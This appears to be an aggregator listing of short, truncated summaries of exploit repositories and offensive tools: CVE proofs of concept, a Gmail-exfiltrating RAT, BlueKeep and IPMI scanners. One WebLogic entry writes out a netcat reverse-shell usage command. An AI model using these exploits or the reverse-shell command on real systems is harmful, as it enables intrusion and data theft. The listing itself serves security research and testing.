CVE-2023-30092

CVE-2023-30092 Tous les détails sur CVE-2023-30092 Logiciel: Online Pizza Ordering System 1.0 Lien du logiciel: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html Type de vulnérabilité: SQL Injection Composant affecté: QTY Parameter Impact déni de...

CVE-2016-10033

CVE-2016-10033 Vulnérabilité d'exécution de code à distance dans PHPMailer. En savoir plus sur CVE-2016-10033: CVE-2016-10033 Wiki...

CVE-2026-14762-PoC-Exploit

CVE-2026-14762 – Эксплуатация SQL-инъекции в Code‑Projects Hotel & Tourism Reservation 1.0 -orange -red Полнофункциональный, многопоточный эксплуатационный скрипт для слепой SQL-инъекции на основе времени для CVE‑2026‑14762. Нацелен на конечную точку /admin/rooms.php приложения Code‑Projects Hote...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP pour Python （complète en une étape） Useage: Python3 exploit.py -t -c astuce : pas d'écho Exemple： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' ensuite vous obtiendrez un shell...

Powershell-RAT

Powershell-RAT Backdoor basée sur Python qui utilise Gmail pour exfiltrer des données en pièce jointe d'un e-mail. Ce RAT aidera quelqu'un lors d'engagements d'équipe rouge à backdoorer n'importe quelle machine Windows. Il suit l'activité de l'utilisateur via la capture d'écran et envoie les...

CVE-2017-7269-exploit

根据 https://github.com/edwardz246003/IISexploit.git 修改得来 Utilisation root@kitploit: -h : Sélectionner l'hôte par défaut 127.0.0.1 -p : Sélectionner le port par défaut 80 Ajouter une commande à la fin par défaut regedit, actuellement ce script ne supporte que 8 caractères maximum...

bitbang-cli

BitBang CLI bitbang est un multitool d'accès distant sous forme de binaire statique unique. Depuis n'importe quel navigateur : un shell interactif et un explorateur de fichiers pour accéder à la machine distante. Vous pouvez également atteindre les applications web présentes sur le réseau de cett...

rdpscan

rdpscan for CVE-2019-0708 bluekeep vuln This is a quick-and-dirty scanner for the CVE-2019-0708 vulnerability in Microsoft Remote Desktop. Right now, there are about 900,000 machines on the public Internet vulnerable to this vulnerability, so many are to expect a worm soon like WannaCry and...

rdpscan

rdpscan pour la vulnérabilité BlueKeep CVE-2019-0708 Il s'agit d'un scanner rapide et rudimentaire pour la vulnérabilité CVE-2019-0708 dans le Bureau à distance Microsoft. Actuellement, environ 900 000 machines sur l'Internet public sont vulnérables à cette vulnérabilité, on s'attend donc à voir...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Téléchargement Arbitraire de Fichier Non Authentifié 💣 Pix for WooCommerce = 1.5.0 – Téléchargement Arbitraire de Fichier Non Authentifié CVE-2026-3891 👤 Nxploited 🧩 Description Le plugin Pix for WooCommerce pour WordPress est vulnérable à un...

Peyara-FileUpload

Titre de l'exploit : Peyara Remote Mouse v1.0.1 — Téléversement arbitraire de fichiers sans authentification Date : 2025-01-06 Auteur de l'exploit : tmrswrr Lien du logiciel : https://peyara-remote-mouse.vercel.app/ Plateforme : Windows Version : v1.0.1 Testé sur : Windows 10 root@kitploit: USAGE...

react2shell

React2Shell: RCE 0-day в React Server Components CVE-2025-55182 React и CVE-2025-66478 Next.js Этот репозиторий содержит код эксплойта только для авторизованного тестирования безопасности и образовательных целей. См. также: Несколько исследователей опубликовали анализ этой уязвимости. Ознакомьтес...

ipmitest

ipmitest Скрипт для проверки уязвимости обхода аутентификации IPMI, связанной с нулевым набором шифров CVE-2013-4784 IPMI — это стандартизированный интерфейс компьютерной системы, используемый системными администраторами для внеполосного управления компьютерными системами и мониторинга их работы...

phone-deck

phone-deck Transformez un téléphone Android de rechange ou tout appareil avec un navigateur en un panneau de contrôle auto-hébergé et en bureau à distance pour votre station de travail Linux — via votre réseau privé Tailscale, sans applications tierces. Tout a commencé par « que faire d'un vieux...

CVE-2022-26134

CVE-2022-26134 Confluence Server et Data Center - CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique...

CVE-2020-11890

Créé par HK CVE-2020-11890 : Des validations d'entrée inadéquates dans la classe de table usergroup pourraient entraîner une configuration ACL cassée menant à une RCE Lien https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html...

CVE-2018-8174

CVE-2018-8174 MS Word et MS WordPad via IE VBS Engine RCE MS Word et MS WordPad RCE via IE VBS RCE https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript Enregistrez index.html sur le serveur web Utilisez ensuite le script python pour générer l'exploit RTF Le shellcode est...

Confluence-EvilJar

aaaademo/Confluence-EvilJar À combiner avec CVE-2023-22515 pour téléverser un fichier jar dans l'interface d'administration et obtenir une RCE. root@kitploit: git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell root@kitploit:...

day06-foxcms-rce

Day06 — RCE de type FoxCMS CVE-2025-29306 — Laboratoire pédagogique Ce mini laboratoire reproduit l'idée centrale derrière la CVE-2025-29306 : l'utilisation non sécurisée de unserialize sur des entrées contrôlées par l'attaquant, conduisant à une exécution de code à distance. Il s'agit d'une...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Exécution SQL Arbitraire Non Authentifiée menant à une Exécution de Code à Distance CVE-2024-43918 Le plugin WBW Product Table Pro pour WordPress est vulnérable à une exécution SQL arbitraire non autorisée en raison d’un manque de vérification des capacit...